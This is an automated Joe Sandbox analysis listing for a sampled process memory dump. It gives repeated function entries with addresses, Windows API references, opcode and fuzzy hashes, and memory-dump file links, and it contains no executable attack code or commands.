Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: efdfd8b14e763454b6e448e4632dd6444c7a07afe097ba371735f0a87d16322f
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: efdfd8b14e763454b6e448e4632dd6444c7a07afe097ba371735f0a87d16322f
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E932A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 9395b7a750d99e693401931a51390f49175727ee397e9b24ae264b47220bb6b7
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: 9395b7a750d99e693401931a51390f49175727ee397e9b24ae264b47220bb6b7
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E932B1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: b5fa85e0c30136bb18259340a02d9caa53343a3af64d7fcedc413d566bd7869c
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: b5fa85e0c30136bb18259340a02d9caa53343a3af64d7fcedc413d566bd7869c
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E93289 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 8b0475a662c6ecefc9ceda36ccdd88c9b562e624f57dc84b4fd3ffeed8344cbd
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: 8b0475a662c6ecefc9ceda36ccdd88c9b562e624f57dc84b4fd3ffeed8344cbd
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E9329D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 90e2d56b8984a9d8d3f4334c7778b16b2a74efdeeec5169f6e46471186f34e0c
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: 90e2d56b8984a9d8d3f4334c7778b16b2a74efdeeec5169f6e46471186f34e0c
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E93293 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 5fb89e85ea7afd76ac10b6a74180202f0d97069969c0453449373ca9076e016b
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: 5fb89e85ea7afd76ac10b6a74180202f0d97069969c0453449373ca9076e016b
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E9326B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 35fa323e24b5abeee3f682d7bb6cdae65ad9e87e21f344661d3b7f5f4b498fd4
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: 35fa323e24b5abeee3f682d7bb6cdae65ad9e87e21f344661d3b7f5f4b498fd4
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E9327F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: 92ae02b451adb307f151936a6e388708dd3048156357ec1909ebda078bb3fd8e
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: 92ae02b451adb307f151936a6e388708dd3048156357ec1909ebda078bb3fd8e
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E93275 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: d98e7a96bbd9aafa89e87e9cbbe6fdaa9b76dd742f48c4286971fd200ef10084
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: d98e7a96bbd9aafa89e87e9cbbe6fdaa9b76dd742f48c4286971fd200ef10084
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00E93239 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E931BD

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Strings

1, xrefs: 00E931B7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 1
API String ID: 697777088-1475023258
Opcode ID: a6666684923b1211b161ed7e1ab96010ed02490b137ef3f15dde545a9482428f
Instruction ID: 82bee11bc3ca2894610928c6241cee8157b8a819106013f58e70bb8ceda3ae6f
Opcode Fuzzy Hash: a6666684923b1211b161ed7e1ab96010ed02490b137ef3f15dde545a9482428f
Instruction Fuzzy Hash: 3CA002D51991467D390452A19D46C77017CC4C4B51370652AB401A519559502D495031

Function 00EA0570 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00EA013B: GetOEMCP.KERNEL32(00000000,?,?,00EA03C4,?), ref: 00EA0166

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00EA0409,?,00000000), ref: 00EA05E4
GetCPInfo.KERNEL32(00000000,00EA0409,?,?,?,00EA0409,?,00000000), ref: 00EA05F7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: a0cb2462bca48b4e26f4eeca77f23418ae282ca3c11bb0a84899827620be6971
Instruction ID: 0f5ca2553077eb8fe9065a3cafd82f8655311ddfa375538c7d42c144fc7b5319
Opcode Fuzzy Hash: a0cb2462bca48b4e26f4eeca77f23418ae282ca3c11bb0a84899827620be6971
Instruction Fuzzy Hash: A65187B09002059FDB209F31C8916FBBBE5EFCA318F14506FE086AF951D635B946CB81

Function 00E81F7C Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(000000FF,?,?,?), ref: 00E820B3
GetLastError.KERNEL32 ref: 00E820BE

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 0592b2d98f71e7c01324b22c80141362625c88f8f7b180faf65dcc7864a0b496
Instruction ID: e5ddda9c66959f9f348f6f647df1b8a3e2d0f7d703f677947abb5e4fe9b1cb92
Opcode Fuzzy Hash: 0592b2d98f71e7c01324b22c80141362625c88f8f7b180faf65dcc7864a0b496
Instruction Fuzzy Hash: 6141D2306043018FDB24EF25C64456AB7E6FF98314F14992DEA8EA32A0D770EC49DB91

Function 00E822A2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?), ref: 00E822BC
SetFileTime.KERNEL32(?,?,?,?), ref: 00E82370

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 2e314e624bd0ea3d012689a7822968afb7dc8fa6e18c5b64719ed9cdfe92d2c7
Instruction ID: a55ea81964db2dc2f78f9612e9372a252e96e7c800db26379e192ad57a840d9c
Opcode Fuzzy Hash: 2e314e624bd0ea3d012689a7822968afb7dc8fa6e18c5b64719ed9cdfe92d2c7
Instruction Fuzzy Hash: BB214331248246AFC314EF74C891AABBBE8AF56308F08590DF4CD97151D338E90DD761

Function 00E81BBE Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?), ref: 00E81C36
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800), ref: 00E81C66

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: da2efe123d42e26c7bf509d32ab8fec039f52f13a9482e9fd741772b844ba797
Instruction ID: 681051ff481a8b67f1dab92baca6cd40975a6512e51d65acb2b82bb795a6ba82
Opcode Fuzzy Hash: da2efe123d42e26c7bf509d32ab8fec039f52f13a9482e9fd741772b844ba797
Instruction Fuzzy Hash: 47210071044744AFE330AA65CC88BE7B2ECEB49764F401A19F9DEE21C1C774A8858731

Function 00E9F087 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E9F0A8

Part of subcall function 00E9DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00E98B1E,?,0000015D,?,?,?,?,00E99FFA,000000FF,00000000,?,?), ref: 00E9DAC2

HeapReAlloc.KERNEL32(00000000,?,?,00000004,00000000,?,00EA0987,?,00000004,00000000,?,?,?,00E9D066,?,00000000), ref: 00E9F0E4

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 58c35eb7652995ef1dcf34111037b5ff6175ee8682f9e029112ba8ca7a290458
Instruction ID: ad6a9a9791dd0cc39b28752f2a5af0712e928dd653d1716e67cbec9b063ae236
Opcode Fuzzy Hash: 58c35eb7652995ef1dcf34111037b5ff6175ee8682f9e029112ba8ca7a290458
Instruction Fuzzy Hash: B8F09032605225AACF317A36AC05BAB379C9F817B5B256136FC18FB193EE60DD1091A1

Function 00E81B70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000000FF,?,?,00E81B28,?,?,?,?,?,00EA700F,000000FF), ref: 00E81B8B

Strings

D+, xrefs: 00E81BAE

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID: D+
API String ID: 2962429428-1750190960
Opcode ID: 11588aef9ee328d02f13e778ebaafc13aa9a977566dfa3253599aa4a4d3348f5
Instruction ID: 35c75396089da9d89ecf77bf86910250e4a189d0562596d7298caee6b00a8c42
Opcode Fuzzy Hash: 11588aef9ee328d02f13e778ebaafc13aa9a977566dfa3253599aa4a4d3348f5
Instruction Fuzzy Hash: DAF0E970481701CFDB309B30C888792B3ECAB12329F042B9ED0EE629E0F361694F8700

Function 00E8294B Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,00000000,?,?,00E82783,?,?), ref: 00E8295F

Part of subcall function 00E83553: _wcslen.LIBCMT ref: 00E83577

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,?,00E82783,?,?), ref: 00E82990

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
